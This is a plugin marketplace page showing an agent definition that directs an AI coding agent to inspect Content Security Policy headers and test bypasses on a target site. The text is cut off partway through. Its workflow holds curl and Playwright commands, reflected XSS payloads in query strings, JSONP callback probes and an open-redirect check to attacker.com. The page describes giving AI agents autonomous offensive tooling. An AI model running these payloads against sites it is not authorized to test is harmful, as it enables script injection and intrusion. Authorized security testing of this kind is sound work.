Skip to content
Security
Agent

csp-bypass-tester

Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection

From plugin
claude-pentest
13715 skills15 agents5 commands

Claude Code

> /plugin marketplace add Stickman230/claude-pentest
> /plugin install pentest@claude-pentest

Agent definition

csp-bypass-tester.md
name: csp-bypass-tester
description: Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection and script execution testing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
color: orange
tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]

CSP Bypass Tester

Inspect and test Content Security Policy implementations. Extract the policy, analyze for permissive directives, identify known bypass vectors (JSONP, Angular, open redirects in allowlisted origins), and confirm whether scripts execute in a real browser despite the policy.

Workflow

Phase 1: Recon

1. Mount skill files:

   Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
   Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-bypass-techniques.md

2. Extract CSP header using curl:

   curl -sI https://TARGET/ 2>&1 \
     | grep -i 'content-security-policy' \
     | tee outputs/ENGAGEMENT/activity/csp-header-TARGET.txt

3. Also check for CSP delivered via meta tag:

   curl -s https://TARGET/ 2>&1 \
     | grep -i 'content-security-policy' \
     | tee outputs/ENGAGEMENT/activity/csp-meta-TARGET.txt

4. Navigate to target in browser to capture full CSP including dynamically set headers:

   browser_navigate(url="https://TARGET")
   browser_network_requests()

Identify the `content-security-policy` header value from the network requests output. 5. Parse the CSP manually for each directive:

  • `default-src`: catch-all for unspecified resource types
  • `script-src`: controls JavaScript execution — most critical directive
  • `style-src`: CSS sources
  • `img-src`: image sources
  • `connect-src`: fetch/XHR/WebSocket origins
  • `frame-src`/`child-src`: iframe allowed origins
  • `report-uri`/`report-to`: reporting endpoints

6. Flag immediately dangerous directive values:

  • `'unsafe-inline'` in script-src → inline scripts permitted (major weakness)
  • `'unsafe-eval'` in script-src → eval() permitted (major weakness)
  • `*` wildcard in script-src → any origin permitted (complete bypass)
  • `data:` in script-src → data URI scripts permitted (known bypass)
  • `http:` scheme in script-src → allows any HTTP domain
  • `blob:` in script-src → allows blob URI execution

7. Log:

   {"timestamp":"...","agent":"csp-bypass-tester","action":"recon","target":"https://TARGET","csp_present":true,"script_src":"'self' https://cdn.jquery.com 'nonce-abc123'","unsafe_inline":false,"unsafe_eval":false,"wildcard":false}

Phase 2: Experiment

**If `unsafe-inline` present in script-src:** Test inline script execution directly:

browser_navigate(url="https://TARGET")
browser_evaluate(function="() => { const s = document.createElement('script'); s.innerHTML = 'window.__csp_test = 1'; document.head.appendChild(s); return window.__csp_test; }")
browser_console_messages()

Check if inline script executed. Also test via injection if a reflection point exists:

curl -s "https://TARGET/search?q=<script>window.__csp=1</script>" | grep -i 'script'

**If `unsafe-eval` present:** Test eval()-based execution:

browser_navigate(url="https://TARGET")
browser_evaluate(function="() => { try { eval('window.__eval_test = 1'); return window.__eval_test; } catch(e) { return e.message; } }")

**If whitelisted domains contain known JSONP endpoints:** Check each whitelisted domain for JSONP:

# Common JSONP endpoints on CDN/analytics domains
for domain in $(grep -oP "(?<=script-src ).*" outputs/ENGAGEMENT/activity/csp-header-TARGET.txt \
  | tr ' ' '\n' | grep -v "'" | grep '\.' | head -10); do
  echo "--- JSONP probe: ${domain} ---"
  curl -s "https://${domain}/callback?callback=alert" 2>&1 | head -5
  curl -s "https://${domain}/jsonp?cb=alert" 2>&1 | head -5
done 2>&1 | tee outputs/ENGAGEMENT/activity/csp-jsonp-probe-TARGET.txt

**If Angular CDN is in whitelist (ajax.googleapis.com or cdnjs.cloudflare.com):** Test AngularJS sandbox escape:

browser_navigate(url="https://TARGET")
browser_evaluate(function="() => document.querySelector('[ng-app]') !== null")

If AngularJS is active and CDN whitelisted, an attacker could load a JSONP from the CDN domain that executes arbitrary code via AngularJS sandbox escape.

**If open redirect exists on a whitelisted domain:**

# Check for open redirect on whitelisted domain
curl -sI "https://whitelisted.example.com/redirect?url=https://attacker.com" \
  | grep -i 'location:'

A redirect to attacker.com from a whitelisted domain can be used to bypass script-src allowlist.

Log each weakness identified:

{"timestamp":"...","agent":"csp-bypass-tester","action":"experiment","test":"unsafe-inline","result":"present","impact":"inline scripts execute without nonce"}
{"timestamp":"...","agent":"csp-bypass-tester","action":"experiment","test":"jsonp-probe","domain":"ajax.googleapis.com","result":"jsonp-endpoint-found","url":"https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"}

Phase 3: Test

For each confirmed bypass vector, test execution in a real browser:

**Test unsafe-inline bypass:**

browser_navigate(url="https://TARGET/?q=<script>window.__bypass_test='executed'</script>")
browser_evaluate(function="() => window.__bypass_test")
browser_console_messages()
browser_snapshot()

If evaluate returns `"executed"` → bypass confirmed.

**Test JSONP endpoint bypass:** Construct URL using JSONP endpoint from whitelisted CDN:

browser_navigate(url="https://TARGET/?q=<script src='https://whitelisted-cdn.com/jsonp?callback=alert'></script>")
browser_console_messages()
browser_snapshot()

Check for alert dialog or console messages indicating script load.

**Test nonce bypass (missin

Read more
@stickman230
Ships withclaude-pentest

An open source plugin for enabeling claude to gain offensive pentesting capabilities

1377 skills15 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
137
Star history of Stickman230/claude-pentest on GitHub, a chart by star-history.com

Other agents on claude-pentest.

csrf-tester

csrf-tester

Agent

Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override.…

cve-tester

cve-tester

Agent

Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates…

More agents from other plugins.

dependency-review

dependency-review

Agent

<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. --> <!--…

@nvidia@nvidiaInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@awarexone@awarexoneInstall Agent
autopilot

autopilot

Agent

Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…

@shuvonsec@shuvonsecInstall Agent

Questions about csp-bypass-tester.

Which coding agents can use csp-bypass-tester?
csp-bypass-tester installs in Claude Code and Cursor: each loads subagents from .claude/agents, so copy the file there. Flowy's auto-invocation runs in Claude Code only.